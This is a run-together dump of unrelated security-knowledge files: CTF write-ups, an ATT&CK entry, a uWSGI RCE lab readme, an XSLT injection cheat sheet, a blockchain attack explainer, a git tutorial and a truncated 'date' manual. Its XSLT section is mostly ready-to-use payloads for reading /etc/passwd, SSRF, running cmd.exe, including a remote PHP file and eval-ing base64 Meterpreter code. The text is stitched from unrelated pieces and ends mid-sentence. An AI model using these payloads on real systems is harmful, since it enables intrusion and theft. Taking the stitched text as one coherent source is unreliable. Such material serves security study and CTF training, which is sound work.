[侧边栏:react-burger-menu](./git/React-Plugin/react-burger-menu.md) - [过渡动画:react-transition-group](./git/React-Plugin/react-transition-group.md)
sec-knowleage
# Micro-CMS v1 - FLAG0 ## 0x00 Index ![](./imgs/index.jpg) ## 0x01 Create New Page ![](./imgs/create.jpg) ![](./imgs/9.jpg) It shows **id=9** ## 0x02 Check Other Pages The Testing page is 1. ![](./imgs/1.jpg) The Markdown Test page is 2. ![](./imgs/2.jpg) Should be something between 2 - 9. Page 3, 4, 5, 6, 8 get 404 error. ![](./imgs/404.jpg) But Page 7 has 403 Fobidden error. Need to take a look of Page 7. ![](./imgs/403.jpg) ## 0x03 Edit Page ![](./imgs/edit.jpg) ## 0x04 FLAG Change Page id and get the FLAG. ![](./imgs/flag.jpg)
sec-knowleage
# Xor-as-a-Service (misc) ``` Xor-as-a-Service is the new hot thing. And we think it's unbreakable! Hint: nosmt, mds=full and clear of secret dependent algorithms. ``` ## Analysis After solving proof of work, you are given a shell session on a Linux machine. The `/app` directory contains files of interest that are owned by another user: * `flag.txt` with permissions "-r--------", and * `xaas` with permissions `-r-sr-xr-x` The task is clearly to leak content of the text file by abusing the executable. The binary reads the secret from `flag.txt` file at startup and starts a simple service implementing the following commands: * `ResizeCommand` to resize an internal buffer, * `ReadSecretCommand` to copy an arbitrary slice of the secret into an arbitrary location within the buffer, * `ScrambleCommand` to xor an arbitrary slice of the buffer with provided key and store the result into a new location within the buffer, and * `StopCommand` to terminate the service. There are no known programming bugs in the binary and the hint points to hardware issues. Turns-out that Travis Downs blogged about [Hardware Store Elimination](https://travisdowns.github.io/blog/2020/05/13/intel-zero-opt.html) a few months before the CTF, describing an obscure optimization implemented by some Intel CPUs. The optimization allows to significantly improve throughput of specific memory operations on blocks of zeros. The above microarchitectural optimization can be abused as an oracle to leak the secret from the analysed service. ## Exploitation Our [solver](solver/solver.cxx) checks the secret byte-by-byte. For each position in the secret, all possible 256 xor keys are tested. The xor result is replicated multiple times within the buffer, such that we end-up with a large block of zeros once the xor key matches the secret byte. This is sufficient to affect the service performance, such that effect can be observed from another process. And so we can successfully reveal the content of `flag.txt`: ``` p4{zero_values_move_faster} ``` ## Post Mortem While content-dependent optimizations may be risky in general, we cannot think of any practical abuse of _Hardware Store Elimination_ against real-world applications. However Intel [reportedly](https://travisdowns.github.io/blog/2021/06/17/rip-zero-opt.html) found some reasons to [disable this optimization](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00464.html) with the most recent microcode update.
sec-knowleage
# T1583-004-购买基础设施-服务器 ## 来自ATT&CK的描述 攻击者可能会购买、租赁或租用可在目标行动中使用的实体服务器。使用服务器可以让攻击者策划、发起和执行行动。在破坏后的活动中,攻击者可以利用服务器执行各种任务,包括用于指挥和控制。与破坏第三方服务器或租用虚拟专用服务器相比,攻击者也可能选择配置和运行自己的服务器来支持行动。 如果攻击者的大部分活动将使用在线基础设施进行,他们可能只需要一个轻量级的设置。或者,如果他们想在自己的系统上测试、通信和控制其活动等其他方面,他们可能需要建立广泛的基础设施。 ## 测试案例 无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在防御团队(组织)的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,如在指挥和控制期间。 ## 参考推荐 MITRE-ATT&CK-T1583-004 <https://attack.mitre.org/techniques/T1583/004/>
sec-knowleage
# uWSGI Unauthorized Access Vulnerability [中文版本(Chinese version)](README.zh-cn.md) uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins. More than an application name, uwsgi is also an exchange standard between the front-end server and the back-end application container, just like Fastcgi. uWSGI allows configuring back-end web application dynamically through Magic Variables. If the port is exposed, attackers can construct uwsgi packets and specify the magic variable `UWSGI_FILE`, so as to execute arbitrary commands by applying `exec://` protocol. Reference links: - https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md - https://xz.aliyun.com/t/3512 - https://uwsgi-docs.readthedocs.io/en/latest/Vars.html ## Environment Setup Enter the following command: ``` docker compose up -d ``` `http://your-ip:8080` is a web application and its uwsgi is exposed to 8000 port. ## POC Using [poc.py](poc.py),you can run the command `python poc.py -u your-ip:8000 -c "touch /tmp/success"`: ![](1.png) Entering the container through `docker compose exec web bash` ,you'll see `/tmp/success` creating successfully: ![](2.png)
sec-knowleage
# XSLT Injection > Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code ## Summary - [XSLT Injection](#xslt-injection) - [Summary](#summary) - [Tools](#tools) - [Exploit](#exploit) - [Determine the vendor and version](#determine-the-vendor-and-version) - [External Entity](#external-entity) - [Read files and SSRF using document](#read-files-and-ssrf-using-document) - [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks) - [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper) - [Remote Code Execution with Java](#remote-code-execution-with-java) - [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net) - [References](#references) ## Tools ## Exploit ### Determine the vendor and version ```xml <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:value-of select="system-property('xsl:vendor')"/> </xsl:template> </xsl:stylesheet> ``` ```xml <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <br />Version: <xsl:value-of select="system-property('xsl:version')" /> <br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> </body> </html> ``` ### External Entity ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> ``` ### Read files and SSRF using document ```xml <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> <xsl:copy-of select="document('/etc/passwd')"/> <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> ``` ### Remote Code Execution with Embedded Script Blocks ```xml <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"> <msxsl:script language = "C#" implements-prefix = "user"> <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script> <xsl:template match="/fruits"> --- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/> --- END COMMAND OUTPUT --- </xsl:template> </xsl:stylesheet> ``` ### Remote Code Execution with PHP wrapper Execute the function `readfile`. ```xml <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of select="php:function('readfile','index.php')" /> </body> </html> ``` Execute the function `scandir`. ```xml <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:value-of name="assert" select="php:function('scandir', '.')"/> </xsl:template> </xsl:stylesheet> ``` Execute a remote php file using `assert` ```xml <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> <xsl:variable name="payload"> include("http://10.10.10.10/test.php") </xsl:variable> <xsl:variable name="include" select="php:function('assert',$payload)"/> </body> </html> ``` Execute a PHP meterpreter using PHP wrapper. ```xml <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:variable name="eval"> eval(base64_decode('Base64-encoded Meterpreter code')) </xsl:variable> <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/> </xsl:template> </xsl:stylesheet> ``` ### Remote Code Execution with Java ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet> ``` ```xml <xml version="1.0"?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type"> <xsl:template match="/"> <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/> </xsl:template>. </xsl:stylesheet> ``` ### Remote Code Execution with Native .NET ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App"> <msxsl:script implements-prefix="App" language="C#"> <![CDATA[ public string ToShortDateString(string date) { System.Diagnostics.Process.Start("cmd.exe"); return "01/01/2001"; } ]]> </msxsl:script> <xsl:template match="ArrayOfTest"> <TABLE> <xsl:for-each select="Test"> <TR> <TD> <xsl:value-of select="App:ToShortDateString(TestDate)" /> </TD> </TR> </xsl:for-each> </TABLE> </xsl:template> </xsl:stylesheet> ``` ## References * [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html) * [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) * [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
sec-knowleage
# 6-动态调试 --- 目标 T6.exe 使用 IDA 打开,找 main 函数,并做基本的分析 可以发现这里一改之前的对输入变量进行修改的风格,直接定义了一个固定的常量。 在 IDA 中设置好断点。这道题我们想查看 strcmp 函数调用时的实参数据,因此在 strcmp 调用处设置一个断点,设置断点的方法是在点击行号旁边的小蓝点。 设置后断点后就可以开始调试 打开 【Debugger】 菜单选中【Select debugger】 --- **Source & Reference** - [萌新学逆向——T6 动态调试](https://mp.weixin.qq.com/s/3ZvkX3vg4dXkSORbE4g7Dg)
sec-knowleage
## Interpolation (Reverse, 200p) NEWTON is an autonomous unmanned aerial vehicle (UAV). Where the UAV is refueled at t=180 ? Path planning: t x y 0; 35.645592; 50.951123; 20; 35.144068; 50.467725; 40; 34.729775; 48.204541; 60; 34.204433; 46.117139; 80; 33.602623; 44.908643; 100; 33.162285; 42.337842; 120; 33.712359; 40.140576; 140; 33.931410; 38.580518; 150; 33.894940; 37.745557; 170; 33.474422; 36.273389; 190; 35.32583531; 35.663648; 210; 33.130089; 35.19047214; 220; 32.409544; 35.141797; 230; 32.085525; 34.786115; The flag is: [the bridge`s name near the refule place][Latitude of the place with 5 digits after the decimal point][Longitude of the place with 5 digits after the decimal point] ###ENG [PL](#pl-version) Task description mentions NEWTON and the title was "interpolation" - so we used Newton's interpolation method to find `(x, y)` at `t=180`. This gave us location - after checking it in Google Maps, there was indeed a bridge nearby. ###PL version Ponieważ zadanie wspominało o Newtonie i interpolacji, użyliśmy metody Newtona do znalezienia `(x, y)` w momencie `t=180`. To dało nam współrzędne geograficzne - po sprawdzeniu ich na mapach Google, okazało się, że faktycznie jest w pobliżu most, o który nas proszą w zadaniu.
sec-knowleage
#!/usr/bin/python -u import Crypto from Crypto.Util.number import ceil_div from Crypto.PublicKey import RSA from Crypto.Signature import PKCS1_v1_5 as RSAsign from Crypto.Hash import SHA #from SECRET import flag from random import shuffle import sys from binascii import b2a_hex key = RSA.generate(1024) a=["super", "important", "information", "for", "admin", "only", "some", "more","words", "just", "because" ] shuffle(a) message = ' '.join(a[:5]) # print message # print "key.n",key.n # print "key.e",key.e h = SHA.new(message) signer = RSAsign.new(key) signature = signer.sign(h) print "Welcome to admin's music portal.\nTo verify that you are the owner of this service\nsend the public key which will verify the following signature :\n" print "Message ->", message print print "Signature ->", signature.encode("hex") sys.stdout.flush() while True: try: n = long(raw_input("Enter n:")) e = long(raw_input("Enter e:")) sys.stdout.flush() if e >= 3 and n>=int(signature.encode("hex"),16) and n.bit_length()<=1025: break except ValueError: print "Invalid input" else: print "Invalid PublicKey" sys.stdout.flush() input_key = RSA.construct((n,e)) verifier = RSAsign.new(input_key) if verifier.verify(h,signature): print flag else: print "Music is only for admin's eyes." sys.stdout.flush() import libnum
sec-knowleage
# Expensive flag (game, 140p, 10 solved) In this quest we can simply buy the flag, assuming we have 100k of gold. The only way to make money in the game is to sell metal ingots to the collector, and he pays 1k for every ingot he doesn't yet have. There are 9 different metals, so we can get 9k. What about the rest? If we look closely at the Mob class, which is also base for all NPCs, we can see: ```python class Mob(object): def __init__(self, world): # Initial values are for a non-existing mob. self.world = world self.id = MOB_NON_EXISTING_ID # Must be set when adding to the world. self.gfx_id = "" self.name = "Unknown" self.type = MOB_TYPE_NPC self.hp = 100 self.hp_max = 100 self.mana = 100 self.mana_max = 100 self.visible = True self.inventory = [world.NON_EXISTING_ITEM] * 8 self.move_count = 0 self.killable = True self.pos_x, self.pos_y = None, None # Position if on map. ``` Look closely at `self.inventory = [world.NON_EXISTING_ITEM] * 8` There are only 8 slots, and in the game logic the item drops on the ground if it doesn't fit in the inventory. This means we actually can sell the 9th ingot as many times as we want, since it will simply drop to the ground, and we can pick it up again. The hard part now is to get all those ingots. In order to do that we need to get a pickaxe and dig in specific place. The type of metal we get is based on an algorithm: ```python def gen_random(self, player): n = 0xf0e1d2c3 for a, b, c in self.last_used_locations: k = a ^ (b << 8) ^ (c << 16) n = ((n << 3) ^ k) & 0xffffffff self.last_used_locations.append( (player.pos_x, player.pos_y, player.direction) ) self.last_used_locations = self.last_used_locations[-10:] return n ``` And: ```python metals = [ ("ironium", 50000, 79999), ("shadovium", 80000, 89999), ("titanium", 90000, 94999), ("copperium", 95000, 97999), ("cobaltium", 98000, 98999), ("aurium", 99000, 99499), ("amethystium", 99500, 99959), ("royalium", 99960, 99998), ("dragonium", 99999, 99999), ] ``` The algorithm is pretty simple, and we can easily dump this directly to Z3 to solve for us: ```python def generate_moves_for_value(target): last_positions = [(z3.BitVec('x%d' % i, 64), z3.BitVec('y%d' % i, 64), z3.BitVec('dir%d' % i, 64)) for i in range(10)] s = z3.Solver() for x, y, direction in last_positions: s.add(x < 428) s.add(x >= 420) s.add(y < 185) s.add(y >= 180) s.add(direction < 4) s.add(direction >= 0) n = gen_random(last_positions) s.add(n == target) print(s.check()) model = s.model() results = [] for x, y, direction in last_positions: results.append((model[x].as_long(), model[y].as_long(), model[direction].as_long())) return results def gen_random(last_used_locations): n = 0xf0e1d2c3 for a, b, c in last_used_locations: k = a ^ (b << 8) ^ (c << 16) n = ((n << 3) ^ k) & 0xffffffff return n % ``` This will give us 10 locations where we need to dig, and after that digging once more will give the metal we want. It's not the most efficient way, since it requires digging 10 times for 1 ingot, and we could use previous digging locations in the solver, to get next ingot in 1 shot, but it works anyway. Once we collect all ingots we can start selling them and finally we get: ![](expensive.png)
sec-knowleage
--- title: Git 本地工作流 --- ### Git简介 Git是一个开源的分布式版本控制系统, 可以有效、高速的处理从很小到非常大的项目版本管理 ### Git特点 开发者可以提交到本地,每个开发者通过克隆(git clone),在本地机器上拷贝一个完整的Git仓库 ### 版本控制系统 记录一个或若干文件内容变化,以便将来查阅特定版本修订情况的系统 ### Git优点 1. 适合分布式开发,强调个体。 2. 公共服务器压力和数据量都不会太大。 3. 速度快、灵活。 4. 任意两个开发者之间可以很容易的解决冲突。 5. 离线工作。 Git 是一个**版本控制**工具,什么是版本控制,我们下面实际操作一下就一目了然了。 ### Git 本地工作流 Git **本地工作流**(没有网络操作)可以分为以下几步: - 第一步,使用 atom 创建并编辑项目 - 第二步,使用 `git init` 命令,把一个**普通项目**变成一个**Git 仓库** - 第三步,使用 `git add -A` 命令,添加修改内容到 Git - 第四步,使用 `git commit -m"my commit msg"` 命令,制作一个版本 ### 下面来走一个 Git 本地工作流的 Demo 首先,我们先来创建一个项目: ``` mkdir trygit ``` 然后进入项目,创建一个 index.html 文件 ``` cd trygit ``` 现在我们来把一个**普通项目**变成一个**仓库** ,需要执行 ``` $ git init Initialized empty Git repository in /Users/peter/Desktop/project/.git/ ``` init 是英文 initialization (初始化)的缩写。 输出信息的英文意思是: >已经在 /Users/Liu/Desktop/project/.git/ 初始化了一个空的 git 仓库 运行这个命令之后,如果我们敲 ``` ls ``` 会看到没有任何变化。因为,命令创建的 `.git` 文件夹是一个隐藏文件夹(所有以点开头的文件或者文件夹在 Linux 系统下都是隐藏的)。 要**查看隐藏文件夹**,可以敲 ``` ls -a ``` 这样可以看到输出中包含 `.git` 文件夹了。 `.git` 文件夹是 Git 仓库的心脏,未来所有的版本历史都会保存在 .git 文件夹中。所以 ``` 仓库 == 项目 + .git/改版历史 ``` 注:**仓库** ,英文是 **Repo** ,是我们使用 Git,Github 必须要了解的一个概念。 如果要制作一个**版本**,一共分两步:添加修改和制作版本。 首先来添加修改到 git : ``` git add -A ``` **小贴士**: -A 的意思是添加“所有当前修改内容” 要想把添加的内容制作成版本,还需要执行 ``` git commit -m"I add a file" ``` **小贴士**: `commit` 的意思是”做一件很重要的事”,但是在 git 这里,它的意思就是**版本** 。`-m` 就是 message 的简写,后面的内容是**再版留言** 。 问题来了,新用户首次执行上面的命令,会看到下面的报错信息 ``` please tell me who you are ``` 解决方法是,运行下面的命令 ``` git config --global user.name "l552177239" git config --global user.email "552177239@qq.com" ``` 来设置用户名和邮箱。这样再次执行 ``` $ git commit -m"I add a file" [master (root-commit) dcb0329] I add index.html 1 file changed, 1 insertion(+) create mode 100644 index.html ``` 就可以成功制作一个版本了。也就是 Git 本地工作流就完成了一个完整的循环。 后续如果再做第二第三个版本,就是只需要: - 修改内容 - git add -A - git commit -m"msg" 即可。 >注意:一个项目中 git init 只需要执行一次就可以了。 ### 查看改版历史 改版历史(所有我们做过的版本组成的一条线,就叫历史)中,会包含多个版本。每个版本中起码要包含4个 W ( Who When What Why )。 那么如何来查看改版历史呢? ``` git log -p ``` `log` 是日志的意思。`-p` 是 patch (补丁,也就是修改内容)的缩写。 小技巧:`q` 可以退出 `git log -p` 的界面,敲 `j` 可以往下翻,敲 `k` 可以往上翻。 >注意,实际中查看版本历史从来不用 git log 命令,而是使用一个前端工具叫做 tig 。安装和使用方式可以参考:http://www.haoduoshipin.com/v/49.html ### 忽略特定文件或者文件夹 有时候,项目文件夹中有一些文件或者文件夹,并不是我们写的代码,例如 node_modules 。那么我们就没有必要把它们进行版本控制,这样我们可以吧这个文件或者文件夹的名字添加到,项目文件夹内的一个特殊文件,叫做 .gitignore 中。 ``` vi .gitignore ``` 然后,.gitignore 中填写如下内容: ``` /node_modules ``` 这样,git 就会忽略 node_modules 文件夹,以及里面的所有文件了。 没有 .gitignore 的技巧,我们就会把 node_modules 中的文件也进行版本控制,这样带来两个明显不爽的现象: - 版本历史混乱 - git push 到 github.com 就会很慢 所以,我们需要学习 .gitignore 的配置技巧。 ### 总结 这样,我们就学会了如何在本地创建 git **版本**,查看各个**版本** ,下面一节我们来研究如何把本地的这些**版本**上传到 github.com 。 ### 参考 - Git官网:[点击进入](https://git-scm.com/) - 廖雪峰的Git教程:[点击进入](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
sec-knowleage
# Blockchain Weaknesses ## Double-spending attack 双花问题是电子现金系统中的一个潜在问题,即相同的资金同时支付给两个接收者。区块链系统通过公开账本的方式来避免双花问题,用户广播交易时不会立即将其添加到区块链中,而是等待矿工通过挖矿将其打包在区块中,接收者在确定合法的交易已经添加到区块链之后,才可以认为该交易有效。用户通过在区块链上接收付款时等待确认来保护自己免受双花欺诈,随着确认数量的增加,交易变得更加不可逆转。 但区块链系统并不能完全防止双花,攻击者仍可以通过庞大的哈希计算资源来重新完成已确认区块的工作量证明并使自己所在链成为最长链来逆转交易实现双花,以及可以针对某些未确认交易实现双花攻击。目前有一下常见的几种方式能够引发双花攻击: ### 51% attack 51%攻击通是指矿工试图控制超过50%的哈希率(挖矿算力)来实现双花,在此攻击中,攻击者可以阻止新交易被确认或撤销他们控制网络时已经确认的交易。 由于比特币等Pow共识的区块链遵循最长链原则,当矿工发现全网有一条更长的链时,他就会抛弃他当前的链,把新的更长的链全部复制回来,在这条链的基础继续挖矿,而分叉出的短链则被丢弃掉。因此攻击者在与商家完成交易后从交易前分叉区块并通过掌握的足够多的算力持续挖出更长的链使发生交易所在的链丢弃来实现双花。 理论上无法通过技术来防范51%攻击,而是通过经济学原理来避免,使达到全网51%的算力成本非常高,且拥有如此强大算力的攻击者进行正常挖矿比作恶作的收益更高。但对于小规模的山寨币来说,攻击成本较低,如Ethereum Classic网络曾遭受多次51%攻击。 参阅: https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power - 题目名称 miniblockchain ### Finney attack Finney attack(芬尼攻击)是由Hal Finney命名的,他是第一个描述扣块攻击的人。这种攻击是一种双花攻击的变化,攻击对象主要针对的是接受0确认的商家。 攻击者将一个给自己转账的交易预挖为一个区块,但不立即将其广播到网络中,相反用同一笔代币花费在接受 0 确认的商家的交易中,攻击者在获得商家的交换物后、这笔交易A真正确认前,才广播他之前所预挖的区块使转给自己的交易合法,这时比特币网络会接受该有效块并使对商家的交易无效,最终达到双花的目的。 0确认是指一笔交易被广播到全网,即将被打包进入区块前的状态。因为区块链目前的出块时间过慢,交易确认需要等待的时间较长,部分商家为了节省时间接受0确认的交易,也就是你把交易信息广播到全网就可以了,不需要等待打包入区块。 ### Race attack 攻击者使用相同的资金连续广播两个冲突的交易,但最终只有一个交易得到确认。该攻击主要是控制矿工费来实现双花,同样针对接收0确认的商家,最终使发给自己的交易被打包确认而使另一个支付交易无效。 与芬妮攻击 的区别是,芬妮攻击是 0确认交易 vs 冲突块,竞争攻击是0确认交易 vs 冲突交易。 ### Vector76 attack 也被称为一次确认攻击,是 Race attack 和 Fenny attack 的结合,使得具有一个确认的交易仍然可被撤销。 在这种攻击中,一名矿工创建了两个节点,其中一个连接到商家节点,另一个节点连接到区块链网络中连接良好的节点。然后,矿工使用相同的资金创建两笔交易创建了两项交易,一笔交易发送给商家地址,我们称为交易1;一笔交易发送给自己的钱包地址且设置较高的矿工费,我们称为交易2。 攻击者不立即广播这两笔交易而是在交易1的分支上进行挖矿,攻击者挖到区块后,向商家节点广播交易1,向另一个节点广播交易 2。交易2被认为有效后,攻击者立即把自己之前在交易1分支上挖到的区块广播给商家,这时,这个接受一次确认就支付的商家会确认交易成功。 由于交易2发送给了连接到更多节点的节点,所以矿工在这个分支上挖出了更长链的机率更大,在这种情况下交易1会被回滚,从而实现了双花。 参阅: http://bitcointalk.org/index.php?topic=36788.msg463391#msg463391 http://www.reddit.com/r/Bitcoin/comments/2e7bfa/vector76_double_spend_attack/cjwya6x ## Block withholding attack 扣块攻击最简单的形式是上述的芬妮攻击,但同样存在针对[矿池](https://academy.binance.com/zh/articles/mining-pools-explained)的扣块攻击方式。 矿池最常见的支付机制是PPS(Pay-Per-Share),该机制中矿工所贡献的每一个“share(股份)”都将收到固定的报酬,Share是用来记录矿工贡献的哈希值,这里的share并不是区块链网络中有效的哈希,而只是由矿池所设置的匹配条件。由于找到符合Pow区块链系统要求的解对于单独的矿工来说是极小概率事件,矿池为了更好衡量矿工们的工作量,会给矿工们设置一个合理的提交工作成果(Share)的门槛。 扣块攻击是指恶意矿工在找到满足矿池要求结果,但不满足比特币系统要求的结果时,正常向矿池提交工作证明;一旦得到满足比特币系统要求的结果时,也就是真的挖到区块时,则把这个结果私自扣下,不向矿池提交,矿池便因此损失了对应的奖励。扣块攻击会使矿工和矿池都受损失,矿工只是得不到矿池分摊的Share奖励,但使矿池损失了出块奖励。 ## Selfish-Mining attack 攻击者挖到新区块后藏起来不公布,其他诚实矿工因为不知道新区块的存在,还是继续在旧区块基础上挖矿。等到攻击者挖到第二个区块后便会同时公布手中藏着的两枚区块,这时,区块链分叉就出现了。只要攻击者比诚实矿工多挖一枚区块,攻击者所在的分叉就是最长链。因此,原本诚实矿工们所在的那条链,因为比攻击者的分叉链短便被作废了,此时攻击者因为挖到了两枚新区块而获得相应收益,而诚实矿工的奖励则被回滚。 !!! note 注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
sec-knowleage
date === 显示或设置系统时间与日期 ## 概要 ```shell date [OPTION]... [+FORMAT] date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]] ``` ## 主要用途 - 转换时间到选定的格式,默认为当前。 - 设置系统时间。 ## 参数 format:输出的时间格式。 ```shell format可用的转义序列如下: %% 百分号 %a 当地缩写的工作日名称(例如,Sun) %A 当地完整的工作日名称(例如,Sunday) %b 当地缩写的月份名称(例如,Jan) %B 当地完整的月份名称(例如,January) %c 当地的日期和时间(例如,Thu Mar 3 23:05:25 2005) %C 世纪,和%Y类似,但是省略后两位(例如,20) %d 一月中的一天(例如,01) %D 日期,等价于%m/%d/%y %e 一月中的一天,格式使用空格填充,等价于%_d %F 完整的日期;等价于%+4Y-%m-%d %g ISO标准计数周的年份的最后两位数字 %G ISO标准计数周的年份,通常只对%V有用 %h 等价于%b %H 小时,范围(00..23) %I 小时,范围(00..23) %j 一年中的一天,范围(001..366) %k 小时,使用空格填充,范围(0..23),等价于%_H %l 小时,使用空格填充,范围(1..12),等价于%_I %m 月,范围(01..12) %M 分钟,范围(00..59) %n 换行符 %N 纳秒,范围(000000000..000000000) %p 用于表示当地的AM或PM,如果未知则为空白 %P 类似于%p,但用小写表示 %q 季度,范围(1..4) %r 当地以12小时表示的时钟时间(例如,11:11:04 PM) %R 24小时每分钟;等价于%H:%M %s 自协调世界时1970年01月01日00时00分以来的秒数 %S 秒数,范围(00..60) %t 水平制表符 %T 时间;等价于%H:%M:%S %u 一周中的一天(1..7),1代表星期一 %U 一年中的第几周,周日作为一周的起始(00..53) %V ISO标准计数周,该方法将周一作为一周的起始(01..53) %w 一周中的一天(0..6),0代表星期天 %W 一年中的第几周,周一作为一周的起始(00..53) %x 当地的日期表示(例如,12/31/99) %X 当地的时间表示(例如,23:13:48) %y 年份后两位数字,范围(00..99) %Y 年份 %z +hhmm格式的数值化时区格式(例如,-0400) %:z +hh:mm格式的数值化时区格式(例如,-04:00) %::z +hh:mm:ss格式的数值化时区格式(例如,-04:00:00) %:::z 数值化时区格式,相比上一个格式增加':'以显示必要的精度(例如,-04,+05:30) %Z 时区缩写(如EDT) 默认情况下,日期用零填充数字字段;以下可选的符号可以跟在'%'后面: - (连字符) 不要填充相应的字段。 _ (下划线) 使用空格填充相应的字段。 0 (数字0) 使用数字0填充相应的字段。 + 用数字0填充,未来年份大于4位数字则在前面加上'+'号。 ^ 允许的情况下使用大写。 # 允许的情况下将默认的大写转换为小写,默认的小写转换为大写。 在任何标志之后都有一个可选的字段宽度,如小数;然后是一个可选的修饰符,在可用的情况下,使用E来使用当地语言环境的替代表示, 使用O来使用当地语言环境的替代数字符号。 ``` ## 选项 ```shell 长选项与短选项等价 -d, --date=STRING 解析字符串并按照指定格式输出,字符串不能是'now'。 --debug 注释已解析的日期,并将有疑问的用法发送到标准错误。 -f, --file=DATEFILE 类似于--date; 一次从DATEFILE处理一行。 -I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出,FMT可以为'date'(默认),'hours','minutes','seconds','ns'。例如:2006-08-14T02:34:56-06:00 -R, --rfc-email 按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600 --rfc-3339=FMT 按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,例如:2006-08-14 02:34:56-06:00 -r, --reference=FILE 显示文件的上次修改时间。 -s, --set=STRING 根据字符串设置系统时间。 -u, --utc, --universal 显示或设置世界协调时(UTC)。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 返回状态为成功除非给出了非法选项或非法参数。 ## 例子 ```shell # 格式化输出: date +"%Y-%m-%d" 2009-12-07 # 输出昨天日期: date -d "1 day ago" +"%Y-%m-%d" 2012-11-19 # 2秒后输出: date -d "2 second" +"%Y-%m-%d %H:%M.%S" 2012-11-20 14:21.31 # 传说中的 